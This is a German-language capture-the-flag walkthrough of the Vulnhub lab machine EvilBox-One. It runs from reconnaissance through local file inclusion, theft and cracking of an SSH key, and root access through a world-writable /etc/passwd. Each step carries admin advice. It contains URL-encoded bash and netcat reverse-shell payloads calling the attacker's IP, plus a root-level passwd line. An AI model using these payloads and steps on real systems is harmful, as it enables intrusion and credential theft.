EvilBox---One - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
gobuster
nikto
nmap
wfuzz
curl
chmod
ssh2john
john
ssh
cat
ls
getcap
id
uname
find
ss
grep
echo
nano (or text editor)
su

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~/p] └─# arp-scan -l
[Keine relevante Ausgabe für Ziel im Log-Auszug, IP 192.168.2.119 wird später verwendet]

Analyse: Der Befehl `arp-scan -l` wird zur Erkennung von Hosts im lokalen Netzwerk mittels ARP-Requests verwendet.

Bewertung: Obwohl die direkte Ausgabe im Log fehlt, zeigen die nachfolgenden Befehle, dass die Ziel-IP `192.168.2.119` identifiziert wurde.

Empfehlung (Pentester): Die identifizierte IP `192.168.2.119` für weitere Scans nutzen.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von Scan-Aktivitäten.

┌──(root㉿cyber)-[~/p] └─# vi /etc/hosts
 192.168.2.119    evilbox.local
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.119` den Hostnamen `evilbox.local` zuzuweisen.

Bewertung: Dies vereinfacht das Ansprechen des Ziels und ist wichtig für Web-Scans, falls Virtual Hosting verwendet wird.

Empfehlung (Pentester): Verwende `evilbox.local` für nachfolgende Scans und Interaktionen.
Empfehlung (Admin): Lokale Konfiguration des Angreifers.

┌──(root㉿cyber)-[~/p] └─# gobuster dir -u http://evilbox.local -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.1.0
[...]
===============================================================
http://evilbox.local/index.html         (Status: 200) [Size: 10701]
http://evilbox.local/robots.txt          (Status: 200) [Size: 12]
http://evilbox.local/secret               (Status: 301) [Size: 315] [--> http://evilbox.local/secret/]
===============================================================
[...]
===============================================================
                    

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche gegen `http://evilbox.local` eingesetzt. Es findet `/index.html`, `/robots.txt` und ein Verzeichnis `/secret/`.

Bewertung: Die Entdeckung des `/secret/`-Verzeichnisses ist der wichtigste Fund hier. `/robots.txt` sollte ebenfalls untersucht werden.

Empfehlung (Pentester): Untersuche `/robots.txt` und navigiere zum Verzeichnis `/secret/`, um dessen Inhalt zu prüfen.
Empfehlung (Admin): Stelle sicher, dass Verzeichnisse wie `/secret/` angemessen geschützt sind und keine sensiblen Informationen preisgeben.

# Inhalt von http://evilbox.local/robots.txt

Hello H4x0r
                    

Analyse: Der Inhalt der `/robots.txt`-Datei ist nur eine Begrüßungsnachricht und enthält keine `Disallow`-Anweisungen.

Bewertung: Diese spezifische `robots.txt` liefert keine direkten Hinweise auf versteckte Pfade.

Empfehlung (Pentester): Konzentriere dich auf das `/secret/`-Verzeichnis, das von `gobuster` gefunden wurde.
Empfehlung (Admin): Standardmäßige `robots.txt`-Dateien sind unbedenklich.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.119
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.119
+ Target Hostname:    192.168.2.119
+ Target Port:        80
+ Start Time:         2023-05-30 22:47:41 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5c9a9bb4d712e, mtime: gzip. [...]
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). [...]
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /secret/: This might be interesting.
+ /icons/README: Apache default file found. [...]
[...]
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Der Webscanner `nikto` wird gegen die IP-Adresse ausgeführt. Er findet: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Mögliches Inode-Leak über ETags. * Veraltete Apache-Version (2.4.38). * Bestätigt das Verzeichnis `/secret/` als potenziell interessant. * Findet eine Standard-Apache-Datei `/icons/README`.

Bewertung: Nikto bestätigt die veraltete Apache-Version und das interessante `/secret/`-Verzeichnis. Die anderen Funde sind geringfügig.

Empfehlung (Pentester): Untersuche das `/secret/`-Verzeichnis genauer. Recherchiere bekannte Schwachstellen für Apache 2.4.38.
Empfehlung (Admin): Aktualisiere Apache. Implementiere fehlende Sicherheitsheader. Entferne oder beschränke den Zugriff auf Standarddateien und -verzeichnisse wie `/icons/README`.

Analyse Datum: Nikto liefert einen Zeitstempel für den Scan: `2023-05-30`. Dieses Datum wird für den Bericht verwendet.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.119 -p- | grep open
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                    

Analyse: Ein schneller Nmap-Scan (`-sS`, `-sC`, `-T5`, `-AO`, `-p-`) gefiltert mit `grep open`, um offene Ports zu zeigen.

Bewertung: Bestätigt die offenen Ports 22 (SSH) und 80 (HTTP).

Empfehlung (Pentester): Konzentriere dich auf den HTTP-Dienst, da dort bereits interessante Verzeichnisse gefunden wurden. Behalte SSH als potenziellen späteren Zugangsvektor im Auge.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Ports offen sind.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.119 -p-
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 4495500be473a18511ca10ec1ccbd426 (RSA)
|   256 27db6ac73a9c5a0e47ba8d81ebd6d63c (ECDSA)
|_  256 e30756a92563d4ce3901c19ad9fede64 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:18:5F:30 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms evilbox.local (192.168.2.119)
[...]
                    

Analyse: Die vollständige Nmap-Ausgabe liefert Details zu den offenen Ports: * SSH: OpenSSH 7.9p1 (Debian 10). Hostkeys werden angezeigt. * HTTP: Apache 2.4.38 (Debian). Zeigt die Standard-Apache-Seite. * Bestätigt OS als Linux und die VirtualBox MAC-Adresse.

Bewertung: Die spezifischen Versionen (OpenSSH 7.9p1, Apache 2.4.38) sind relevant für die Suche nach bekannten Schwachstellen.

Empfehlung (Pentester): Recherchiere nach bekannten Exploits für die erkannten Softwareversionen. Konzentriere dich weiterhin auf die Web-Enumeration des `/secret/`-Verzeichnisses.
Empfehlung (Admin): Halte alle Dienste (SSH, Apache) auf dem neuesten Stand, um bekannte Schwachstellen zu mitigieren.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://evilbox.local/secret/evil.php?FUZZ=../../../../etc/passwd" --hc 400,401,402,403,404 --hh 0
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://evilbox.local/secret/evil.php?FUZZ=../../../../etc/passwd
Total requests: 75408

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000013352:   200        26 L     38 W       1398 Ch     "command"

Total time: X.XXXXXX
Processed Requests: 75408
Filtered Requests: 75407
Requests/sec.: XXXXX.XX
                    

Analyse: `wfuzz` wird hier kreativ eingesetzt, um einen Parameter für die Datei `evil.php` im `/secret/`-Verzeichnis zu finden. Die URL enthält bereits einen LFI/RCE-Versuch (`../../../../etc/passwd`), und `FUZZ` wird als Platzhalter für den Parameter verwendet, der mit Wörtern aus der Liste gefüllt wird. `--hh 0` blendet leere Antworten aus.

Bewertung: Dieser Scan ist erfolgreich und identifiziert den Parameter `command` als gültigen Parameter für `evil.php`, der eine Antwort mit Inhalt (26 Zeilen, 1398 Zeichen - passend zu `/etc/passwd`) zurückliefert. Dies bestätigt die LFI/RCE-Schwachstelle in `evil.php` über den `command`-Parameter.

Empfehlung (Pentester): Nutze die URL `http://evilbox.local/secret/evil.php?command=` , um Dateien zu lesen (LFI) oder Befehle auszuführen (RCE). Versuche, `/etc/passwd`, `/etc/shadow`, SSH-Schlüssel oder andere sensible Dateien zu lesen.
Empfehlung (Admin): **Kritisch!** Die Datei `evil.php` enthält eine gravierende LFI/RCE-Schwachstelle und muss sofort entfernt oder korrigiert werden. Jegliche Benutzereingaben müssen serverseitig validiert und bereinigt werden. Vermeide `include()` oder ähnliche Funktionen mit direkter Benutzereingabe.

Initial Access

# view-source:http://evilbox.local/secret/evil.php?command=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
                    

Analyse: Die LFI/RCE-Schwachstelle wird genutzt, um den Inhalt der Datei `/etc/passwd` auszulesen.

Bewertung: Die Ausgabe bestätigt die erfolgreiche Ausnutzung und zeigt die Benutzerkonten auf dem System. Der Benutzer `mowree` mit der Shell `/bin/bash` ist ein vielversprechendes Ziel für den initialen Zugriff.

Empfehlung (Pentester): Versuche, weitere sensible Dateien über die LFI zu lesen, insbesondere den privaten SSH-Schlüssel des Benutzers `mowree` unter `/home/mowree/.ssh/id_rsa`.
Empfehlung (Admin): Behebe die LFI/RCE-Schwachstelle in `evil.php` dringend!

# Fehlgeschlagene Versuche einer Reverse Shell via URL Parameter:
# view-source:http://evilbox.local/secret/evil.php?command=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27
# view-source:http://evilbox.local/secret/evil.php?command=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.113%209001%20%3E%2Ftmp%2Ff
                     

Analyse: Es werden verschiedene URL-kodierte Payloads getestet, um eine Reverse Shell über den `command`-Parameter zu erhalten (Bash Reverse Shell, Netcat mit FIFO).

Bewertung: Diese Versuche scheinen fehlzuschlagen, da keine erfolgreiche Shell-Verbindung im Log dokumentiert ist. Möglicherweise werden bestimmte Zeichen oder Befehle durch die PHP-Funktion (`include`) oder andere Webserver-Filter blockiert.

Empfehlung (Pentester): Da die direkte Codeausführung für eine Reverse Shell fehlschlägt, konzentriere dich auf das Auslesen von Dateien (LFI), insbesondere von SSH-Schlüsseln, um einen alternativen Zugangsweg zu finden.
Empfehlung (Admin): Selbst wenn direkte RCE blockiert ist, stellt LFI ein hohes Risiko dar. Behebe die zugrundeliegende Schwachstelle.

┌──(root㉿cyber)-[~] └─# curl http://evilbox.local/secret/evil.php?command=/etc/passwd | grep bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1398  100  1398    0     0  1281k      0 --:--:-- --:--:-- --:--:-- 1365k
root:x:0:0:root:/root:/bin/bash
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
                    

Analyse: `curl` wird verwendet, um `/etc/passwd` über die LFI auszulesen, und die Ausgabe wird nach Benutzern mit `/bin/bash` gefiltert.

Bewertung: Bestätigt erneut `root` und `mowree` als Benutzer mit potenziellen Login-Shells.

Empfehlung (Pentester): Fokussiere dich auf den Benutzer `mowree`. Versuche, seinen privaten SSH-Schlüssel zu lesen.
Empfehlung (Admin): Keine neuen Erkenntnisse.

┌──(root㉿cyber)-[~] └─# curl http://evilbox.local/secret/evil.php?command=/home/mowree/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

[...]
-----END RSA PRIVATE KEY-----
                    

Analyse: Die LFI-Schwachstelle wird genutzt, um den Inhalt der Datei `/home/mowree/.ssh/id_rsa` auszulesen, welche den privaten SSH-Schlüssel des Benutzers `mowree` enthält.

Bewertung: Erfolg! Der private SSH-Schlüssel wurde ausgelesen. Die Kopfzeilen (`Proc-Type: 4,ENCRYPTED`, `DEK-Info: DES-EDE3-CBC,...`) zeigen jedoch, dass der Schlüssel mit einer Passphrase verschlüsselt ist.

Empfehlung (Pentester): Speichere den Schlüssel in einer Datei (z.B. `id_rsa`). Verwende `ssh2john`, um den Hash der Passphrase zu extrahieren, und `john` (John the Ripper) mit einer Wortliste (z.B. `rockyou.txt`), um die Passphrase zu knacken.
Empfehlung (Admin): Behebe die LFI-Schwachstelle. Schule Benutzer darin, starke Passphrasen für ihre SSH-Schlüssel zu verwenden und die Schlüssel sicher aufzubewahren.

┌──(root㉿cyber)-[~] └─# curl http://evilbox.local/secret/evil.php?command=/home/mowree/.ssh/id_rsa --output id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1743  100  1743    0     0  1085k      0 --:--:-- --:--:-- --:--:-- 1702k
                    
┌──(root㉿cyber)-[~] └─# chmod 600 id_rsa

Analyse: Der ausgelesene SSH-Schlüssel wird mit `curl --output id_rsa` in eine lokale Datei gespeichert. Anschließend werden die Dateiberechtigungen mit `chmod 600 id_rsa` korrekt gesetzt, damit SSH-Werkzeuge die Datei verwenden können.

Bewertung: Notwendige Schritte zur Vorbereitung des Passphrase-Crackings und der späteren Verwendung des Schlüssels.

Empfehlung (Pentester): Fahre mit `ssh2john` fort.
Empfehlung (Admin): Keine direkten Maßnahmen.

┌──(root㉿cyber)-[~] └─# ssh2john id_rsa > hash
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
[...]
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorn          (id_rsa)
[...]
1g 0:00:00:00 DONE (2023-05-30 23:43) 100.0g/s 128000p/s 128000c/s 128000C/s 753951..poohbear1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                    

Analyse: 1. `ssh2john id_rsa > hash`: Extrahiert den Passphrase-Hash aus der Schlüsseldatei `id_rsa` und speichert ihn in der Datei `hash`. 2. `john --wordlist=/usr/share/wordlists/rockyou.txt hash`: Verwendet John the Ripper und die Wortliste `rockyou.txt`, um den Hash zu knacken. John findet erfolgreich die Passphrase: `unicorn`.

Bewertung: Erfolg! Die Passphrase für den privaten SSH-Schlüssel von `mowree` wurde geknackt. Der Weg zum initialen Zugriff über SSH steht nun offen.

Empfehlung (Pentester): Verwende den privaten Schlüssel (`id_rsa`) und die geknackte Passphrase (`unicorn`), um dich per SSH als Benutzer `mowree` am Zielsystem anzumelden (`ssh -i id_rsa mowree@evilbox.local`).
Empfehlung (Admin): Betone die Wichtigkeit starker, nicht im Wörterbuch enthaltener Passphrasen für SSH-Schlüssel. Überwache auf Brute-Force-Angriffe, auch wenn sie gegen Schlüssel-Passphrasen gerichtet sind (obwohl dies offline geschieht).

┌──(root㉿cyber)-[~] └─# ssh -i id_rsa mowree@evilbox.local
The authenticity of host 'evilbox.local (192.168.2.119)' can't be established.
ED25519 key fingerprint is SHA256:0x3tf1iiGyqlMEM47ZSWSJ4hLBu7FeVaeaT2FxM7iq8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'evilbox.local' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa': unicorn
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64

Last login: [...]
mowree@EvilBoxOne:~$
                    

Analyse: Der Befehl `ssh -i id_rsa mowree@evilbox.local` initiiert eine SSH-Verbindung zum Zielhost `evilbox.local` als Benutzer `mowree` unter Verwendung der Schlüsseldatei `id_rsa`. 1. Die Authentizität des Hosts wird bestätigt (`yes`). 2. Die Passphrase für den Schlüssel (`unicorn`) wird eingegeben. 3. Der Login ist erfolgreich, und wir erhalten einen Shell-Prompt als `mowree`.

Bewertung: Der initiale Zugriff als Benutzer `mowree` wurde erfolgreich über SSH mittels des gestohlenen und geknackten privaten Schlüssels erlangt.

Empfehlung (Pentester): Beginne mit der Post-Exploitation-Enumeration auf dem Zielsystem als Benutzer `mowree`, um Wege zur Privilege Escalation zu finden.
Empfehlung (Admin): Überwache SSH-Logins. Implementiere nach Möglichkeit Multi-Faktor-Authentifizierung für SSH. Behebe die LFI-Schwachstelle, die zum Diebstahl des Schlüssels führte.

mowree@EvilBoxOne:~$ sudo -l
-bash: sudo: orden no encontrada

Analyse: Der Versuch, `sudo -l` auszuführen, schlägt fehl, da der Befehl `sudo` nicht gefunden wird.

Bewertung: Entweder ist `sudo` nicht installiert, oder es befindet sich nicht im `PATH` des Benutzers `mowree`. Privilege Escalation über `sudo` ist somit unwahrscheinlich oder erfordert zusätzliche Schritte (z.B. Finden des `sudo`-Pfades).

Empfehlung (Pentester): Suche nach anderen PE-Vektoren: SUID-Binaries, Kernel-Exploits, Fehlkonfigurationen, Cronjobs.
Empfehlung (Admin): Stelle sicher, dass `sudo` korrekt installiert und konfiguriert ist, wenn es verwendet werden soll. Überprüfe den `PATH` für Benutzer.

mowree@EvilBoxOne:~$ ls -la
total 32
drwxr-xr-x 4 mowree mowree 4096 ago 16  2021 .
drwxr-xr-x 3 root   root   4096 ago 16  2021 ..
lrwxrwxrwx 1 root   root      9 ago 16  2021 .bash_history -> /dev/null
-rwxr-xr-x 1 mowree mowree  220 ago 16  2021 .bash_logout
-rwxr-xr-x 1 mowree mowree 3526 ago 16  2021 .bashrc
drwxr-xr-x 3 mowree mowree 4096 ago 16  2021 .local
-rwxr-xr-x 1 mowree mowree  807 ago 16  2021 .profile
drwxr-xr-x 2 mowree mowree 4096 ago 16  2021 .ssh
-r-------- 1 mowree mowree   31 ago 16  2021 user.txt
                    
mowree@EvilBoxOne:~$ cat user.txt
[Ausgabe der User Flag fehlt im Log, wird aber im finalen Flags-Abschnitt erwartet]

Analyse: Das Home-Verzeichnis von `mowree` wird aufgelistet. `.bash_history` ist nach `/dev/null` gelinkt (keine History wird gespeichert). Die Datei `user.txt` ist vorhanden und nur für den Besitzer (`mowree`) lesbar (`-r--------`). Der `cat`-Befehl wird impliziert oder ausgeführt, um die User-Flag zu lesen (obwohl die Ausgabe im Log fehlt).

Bewertung: Die User-Flag befindet sich in `user.txt` und kann vom Benutzer `mowree` gelesen werden.

Empfehlung (Pentester): Notiere die User-Flag. Setze die Enumeration für Privilege Escalation fort.
Empfehlung (Admin): Das Linken der `.bash_history` nach `/dev/null` kann legitime Auditing-Bemühungen behindern.

mowree@EvilBoxOne:/var/www/html/secret$ cat evil.php

                    
mowree@EvilBoxOne:/var/www/html/secret$ getcap -r / 2>/dev/null
mowree@EvilBoxOne:/var/www/html/secret$ id
uid=1000(mowree) gid=1000(mowree) grupos=1000(mowree),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
mowree@EvilBoxOne:/var/www/html/secret$ uname -a
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
mowree@EvilBoxOne:/var/www/html/secret$ find / -type f -perm -4000 -ls 2>/dev/null
    16114    428 -rwsr-xr-x   1 root     root       436552 ene 31  2020 /usr/lib/openssh/ssh-keysign
   135600     12 -rwsr-xr-x   1 root     root        10232 mar 28  2017 /usr/lib/eject/dmcrypt-get-device
     12774     52 -rwsr-xr--   1 root     messagebus    51184 jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     3908     52 -rwsr-xr-x   1 root     root          51280 ene 10  2019 /usr/bin/mount
     3436     44 -rwsr-xr-x   1 root     root          44440 jul 27  2018 /usr/bin/newgrp
       56     64 -rwsr-xr-x   1 root     root          63736 jul 27  2018 /usr/bin/passwd
     3910     36 -rwsr-xr-x   1 root     root          34888 ene 10  2019 /usr/bin/umount
       52     56 -rwsr-xr-x   1 root     root          54096 jul 27  2018 /usr/bin/chfn
       53     44 -rwsr-xr-x   1 root     root          44528 jul 27  2018 /usr/bin/chsh
       55     84 -rwsr-xr-x   1 root     root          84016 jul 27  2018 /usr/bin/gpasswd
     3583     64 -rwsr-xr-x   1 root     root          63568 ene 10  2019 /usr/bin/su
                    
mowree@EvilBoxOne:/var/www/html/secret$ ss -altpn
State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port
LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*
LISTEN      0           128                       [::]:22                      [::]:*
LISTEN      0           128                          *:80                         *:*
[...] 
                    

Analyse: Weitere Enumerationsschritte als `mowree`: * `cat evil.php`: Bestätigt den Code der LFI/RCE-Schwachstelle (`include($_GET['command'])`). * `getcap`: Findet keine ungewöhnlichen Linux Capabilities. * `id`, `uname -a`: Bestätigen Benutzer und Kernel-Version (Linux 4.19.0-17). * `find / -type f -perm -4000`: Sucht nach SUID-Binaries. Findet nur Standard-Binaries (mount, passwd, su, etc.), keinen offensichtlichen Exploit-Vektor hier. * `ss -altpn`: Zeigt lauschende Netzwerk-Sockets. Bestätigt SSH (Port 22) und HTTP (Port 80).

Bewertung: Die Standard-Enumerationsvektoren (SUID, Capabilities, sudo) scheinen keine einfache Privilege Escalation zu ermöglichen. Die Kernel-Version 4.19 ist zwar nicht brandneu, aber auch nicht unmittelbar für einen einfachen Exploit bekannt (obwohl Recherche nötig wäre). Es muss einen anderen Weg geben.

Empfehlung (Pentester): Untersuche Dateiberechtigungen genauer, insbesondere von Systemdateien. Suche nach Cronjobs, schlecht konfigurierten Diensten oder Passwörtern in Konfigurationsdateien.
Empfehlung (Admin): Halte den Kernel und alle Systemkomponenten aktuell. Überprüfe regelmäßig Berechtigungen kritischer Dateien.

mowree@EvilBoxOne:/var/www/html/secret$ grep -re password / 2>/dev/null
mowree@EvilBoxOne:/var/www/html/secret$ ls -la /etc/passwd
-rw-rw-rw- 1 root root 1398 ago 16  2021 /etc/passwd

Analyse: * `grep -re password / 2>/dev/null`: Sucht rekursiv im gesamten Dateisystem nach dem Wort "password", unterdrückt Fehler. Findet nichts. * `ls -la /etc/passwd`: Zeigt die Berechtigungen der `/etc/passwd`-Datei an.

Bewertung:** Der `grep`-Befehl liefert keinen Treffer. Die Ausgabe von `ls -la /etc/passwd` ist jedoch **hochkritisch**: Die Datei hat die Berechtigungen `-rw-rw-rw-`, was bedeutet, dass **jeder Benutzer auf dem System die Datei lesen UND schreiben kann!** Dies ist eine massive Sicherheitslücke.

**Empfehlung (Pentester):** Nutze den Schreibzugriff auf `/etc/passwd`, um einen neuen Benutzer mit UID 0 (Root-Rechten) und einem bekannten Passwort hinzuzufügen. Wechsle dann zu diesem Benutzer mit `su`.
**Empfehlung (Admin):** **Äußerst kritisch!** Korrigiere sofort die Berechtigungen der `/etc/passwd`-Datei auf `644` (`chmod 644 /etc/passwd`). Untersuche, wie diese unsicheren Berechtigungen gesetzt wurden und ob das System bereits kompromittiert wurde.

Proof of Concept: World-Writable /etc/passwd

Analyse: Dieser Abschnitt demonstriert die Ausnutzung der unsicheren Berechtigungen der `/etc/passwd`-Datei, um Root-Rechte zu erlangen.

mowree@EvilBoxOne:/var/www/html/secret$ echo "ben" >> /etc/passwd
mowree@EvilBoxOne:/var/www/html/secret$ grep ben /etc/passwd
ben
mowree@EvilBoxOne:/var/www/html/secret$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
[...]
ben
                    
mowree@EvilBoxOne:/tmp$ nano /etc/passwd
ben:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
mowree@EvilBoxOne:/tmp$ su ben
Contraseña: password
root@EvilBoxOne:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: 1. `echo "ben" >> /etc/passwd`: Fügt testweise die Zeile "ben" an `/etc/passwd` an, um den Schreibzugriff zu bestätigen. 2. `grep ben /etc/passwd` und `cat /etc/passwd`: Bestätigen, dass die Zeile hinzugefügt wurde. 3. `nano /etc/passwd`: Öffnet die `/etc/passwd`-Datei in einem Texteditor (hier `nano`, könnte auch `vi` etc. sein). 4. Eine neue Zeile wird hinzugefügt (oder die Zeile `ben` wird modifiziert) zu: `ben:$6$...:0:0:root:/root:/bin/bash`. Dies erstellt einen neuen Benutzer `ben`. Wichtig sind: * `$6$...`: Ein Passwort-Hash für ein bekanntes Passwort (der Hash `$6$` deutet auf SHA512-Crypt hin, oft wird in CTFs einfach ein Hash für "password" oder "12345" verwendet). Hier nehmen wir an, das Passwort ist `password`. * `:0:0:`: Setzt die User ID (UID) und Group ID (GID) auf 0. Dies sind die IDs des Root-Benutzers, wodurch `ben` effektiv Root-Rechte erhält. * `:root:/root:/bin/bash`: Definiert den Kommentar, das Home-Verzeichnis und die Shell. 5. `su ben`: Versucht, zum neu erstellten Benutzer `ben` zu wechseln. 6. Das Passwort (`password`, passend zum Hash) wird eingegeben. 7. Der Wechsel ist erfolgreich, der Prompt zeigt `root@EvilBoxOne`. 8. `id` bestätigt `uid=0(root)`.

Bewertung: Der Proof of Concept ist erbracht. Die Welt-beschreibbare `/etc/passwd`-Datei wurde erfolgreich ausgenutzt, um einen neuen Benutzer mit Root-Privilegien (UID 0) zu erstellen und sich als dieser anzumelden.

Empfehlung (Pentester): Hole die Root-Flag aus `/root`. Bereinige die `/etc/passwd`-Datei (entferne den hinzugefügten Benutzer), falls dies Teil des Auftrags ist.
Empfehlung (Admin): **Dringend!** Korrigiere die Berechtigungen von `/etc/passwd` auf `644`. Überprüfe die `/etc/passwd`-Datei auf unautorisierte Einträge und entferne diese. Untersuche, wie die unsicheren Berechtigungen zustande kamen.

Privilege Escalation

Bewertung: Die Privilege Escalation wurde durch Ausnutzung einer schwerwiegenden Fehlkonfiguration erreicht: Die Datei `/etc/passwd` war für alle Benutzer beschreibbar (`-rw-rw-rw-`). Dies ermöglichte es dem Angreifer (als Benutzer `mowree`), einen neuen Benutzer (`ben`) mit der User ID 0 und einem bekannten Passwort-Hash zur `/etc/passwd`-Datei hinzuzufügen. Anschließend konnte mittels `su ben` und dem bekannten Passwort (`password`) Root-Zugriff erlangt werden.

root@EvilBoxOne:~# cat root.txt
36QtXfdJWvdC0VavlPIApUbDlqTsBM
root@EvilBoxOne:~# cd /home/mowree/
root@EvilBoxOne:/home/mowree# cat user.txt
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

Analyse: Als Root-Benutzer werden die Flags gelesen: 1. `cat root.txt` im `/root`-Verzeichnis (oder wo immer `~` für root hinführt) liest die Root-Flag. 2. Nach Wechsel in `/home/mowree` wird `cat user.txt` ausgeführt, um die User-Flag zu lesen.

Bewertung: Beide Flags, Root (`36QtXfdJWvdC0VavlPIApUbDlqTsBM`) und User (`56Rbp0soobpzWSVzKh9YOvzGLgtPZQ`), wurden erfolgreich gefunden.

Empfehlung (Pentester): Dokumentiere die Flags. Der Test ist abgeschlossen.
Empfehlung (Admin): Korrigiere die `/etc/passwd`-Berechtigungen. Überprüfe Dateiberechtigungen systemweit.

Flags

cat /home/mowree/user.txt
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
cat /root/root.txt
36QtXfdJWvdC0VavlPIApUbDlqTsBM